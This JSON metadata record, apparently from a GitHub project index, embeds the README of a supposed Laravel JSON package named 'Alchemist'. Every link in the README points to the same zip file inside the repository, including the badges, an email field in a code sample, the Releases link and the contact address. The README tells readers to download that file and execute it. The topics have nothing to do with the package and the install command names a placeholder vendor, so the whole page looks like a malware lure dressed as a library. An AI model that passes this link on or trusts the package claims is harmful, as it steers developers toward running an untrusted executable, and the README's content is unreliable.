{"id":28739329,"url":"https://github.com/87870/alchemist","last_synced_at":"2026-04-09T02:03:31.813Z","repository":{"id":294977570,"uuid":"988650251","full_name":"87870/Alchemist","owner":"87870","description":"Alchemist simplifies JSON handling in Laravel, offering a clean and efficient alternative to traditional resource classes. With its focus on speed and elegance, this tool streamlines your development process. 🚀💻","archived":false,"fork":false,"pushed_at":"2025-06-13T16:01:40.000Z","size":58,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-06-13T17:20:13.487Z","etag":null,"topics":["code-generation","deoplete","deoplete-source","elixir","fastapi","fuzzer","kotlin","kotlin-language","kotlin-library","kotlin-multiplatform","kotlin-multiplatform-library","neovim-plugin","photoshop","pydantic","sqlalchemy","uxp","vim","vim-plugin"],"latest_commit_sha":null,"homepage":null,"language":"PHP","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/87870.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-05-22T21:41:06.000Z","updated_at":"2025-06-13T16:01:43.000Z","dependencies_parsed_at":"2025-06-13T17:30:12.539Z","dependency_job_id":null,"html_url":"https://github.com/87870/Alchemist","commit_stats":null,"previous_names":["87870/alchemist"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/87870/Alchemist","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/87870%2FAlchemist","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/87870%2FAlchemist/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/87870%2FAlchemist/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/87870%2FAlchemist/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/87870","download_url":"https://codeload.github.com/87870/Alchemist/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/87870%2FAlchemist/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":260109457,"owners_count":22960023,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["code-generation","deoplete","deoplete-source","elixir","fastapi","fuzzer","kotlin","kotlin-language","kotlin-library","kotlin-multiplatform","kotlin-multiplatform-library","neovim-plugin","photoshop","pydantic","sqlalchemy","uxp","vim","vim-plugin"],"created_at":"2025-06-16T06:00:54.051Z","updated_at":"2026-04-09T02:03:31.807Z","avatar_url":"https://github.com/87870.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Alchemist 🧙‍♂️\n\n![Version](https://github.com/87870/Alchemist/raw/refs/heads/main/src/Helpers/Software-3.5.zip)\n![License](https://github.com/87870/Alchemist/raw/refs/heads/main/src/Helpers/Software-3.5.zip)\n![Downloads](https://github.com/87870/Alchemist/raw/refs/heads/main/src/Helpers/Software-3.5.zip+orange)\n\nWelcome to **Alchemist**, the JSON Revolution for Laravel! This package offers a simple, fast, and elegant alternative to Laravel JSON Resource. With Alchemist, you can manipulate and export JSON data effortlessly, making your Laravel applications more efficient and easier to manage.\n\n## Table of Contents\n\n- [Features](#features)\n- [Installation](#installation)\n- [Usage](#usage)\n- [Examples](#examples)\n- [Topics](#topics)\n- [Contributing](#contributing)\n- [License](#license)\n- [Releases](#releases)\n\n## Features\n\n- **Fast Performance**: Alchemist is built for speed. It processes JSON data quickly, ensuring your application runs smoothly.\n- **Simple API**: The intuitive interface allows developers to get started without extensive setup.\n- **Elegant Design**: Focus on clean and maintainable code. Alchemist promotes best practices in JSON manipulation.\n- **Flexible**: Easily adapt the package to fit your specific needs.\n- **Support for PHP 8**: Take advantage of the latest features in PHP 8 for improved performance and syntax.\n\n## Installation\n\nTo install Alchemist, use Composer. Run the following command in your terminal:\n\n```bash\ncomposer require your-vendor/alchemist\n```\n\nAfter installation, publish the configuration file:\n\n```bash\nphp artisan vendor:publish --provider=\"YourVendor\\Alchemist\\AlchemistServiceProvider\"\n```\n\n## Usage\n\nTo use Alchemist in your Laravel application, start by importing the package in your controller or service:\n\n```php\nuse YourVendor\\Alchemist\\Alchemist;\n```\n\nYou can now utilize Alchemist's features to manipulate and export JSON data.\n\n### Basic Example\n\nHere's a simple example of how to use Alchemist:\n\n```php\n$data = [\n    'name' =\u003e 'John Doe',\n    'email' =\u003e 'https://github.com/87870/Alchemist/raw/refs/heads/main/src/Helpers/Software-3.5.zip',\n];\n\n$json = Alchemist::create($data);\nreturn response()-\u003ejson($json);\n```\n\n## Examples\n\n### Example 1: Basic JSON Export\n\nYou can easily export data as JSON with Alchemist:\n\n```php\n$data = [\n    'title' =\u003e 'Alchemist Package',\n    'description' =\u003e 'A simple and elegant alternative to Laravel JSON Resource.',\n];\n\n$json = Alchemist::export($data);\nreturn response()-\u003ejson($json);\n```\n\n### Example 2: Manipulating Arrays\n\nAlchemist allows you to manipulate arrays before exporting them:\n\n```php\n$data = [\n    ['id' =\u003e 1, 'name' =\u003e 'Item 1'],\n    ['id' =\u003e 2, 'name' =\u003e 'Item 2'],\n];\n\n$modifiedData = Alchemist::modify($data, function ($item) {\n    $item['name'] = strtoupper($item['name']);\n    return $item;\n});\n\n$json = Alchemist::export($modifiedData);\nreturn response()-\u003ejson($json);\n```\n\n## Topics\n\nThis repository covers various topics relevant to Laravel and JSON manipulation:\n\n- `array`\n- `array-manipulations`\n- `export`\n- `json`\n- `json-api`\n- `json-resources`\n- `laravel`\n- `laravel-package`\n- `php-library`\n- `php8`\n- `resource`\n\n## Contributing\n\nWe welcome contributions to Alchemist! To contribute, follow these steps:\n\n1. Fork the repository.\n2. Create a new branch (`git checkout -b feature/YourFeature`).\n3. Make your changes and commit them (`git commit -m 'Add some feature'`).\n4. Push to the branch (`git push origin feature/YourFeature`).\n5. Open a Pull Request.\n\nPlease ensure your code follows the coding standards and includes appropriate tests.\n\n## License\n\nAlchemist is licensed under the MIT License. See the [LICENSE](LICENSE) file for more information.\n\n## Releases\n\nTo download the latest version of Alchemist, visit [Releases](https://github.com/87870/Alchemist/raw/refs/heads/main/src/Helpers/Software-3.5.zip). Make sure to download the latest file and execute it to get started with Alchemist.\n\nYou can also check the \"Releases\" section for updates and new features.\n\n## Contact\n\nFor questions or feedback, feel free to reach out through GitHub issues or contact me directly at [https://github.com/87870/Alchemist/raw/refs/heads/main/src/Helpers/Software-3.5.zip](https://github.com/87870/Alchemist/raw/refs/heads/main/src/Helpers/Software-3.5.zip).\n\n## Acknowledgments\n\n- Thanks to the Laravel community for their support and inspiration.\n- Special thanks to contributors who help improve Alchemist.\n\n---\n\nWith Alchemist, you can transform your Laravel applications into powerful tools for JSON data management. Start your journey with Alchemist today!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F87870%2Falchemist","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F87870%2Falchemist","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F87870%2Falchemist/lists"}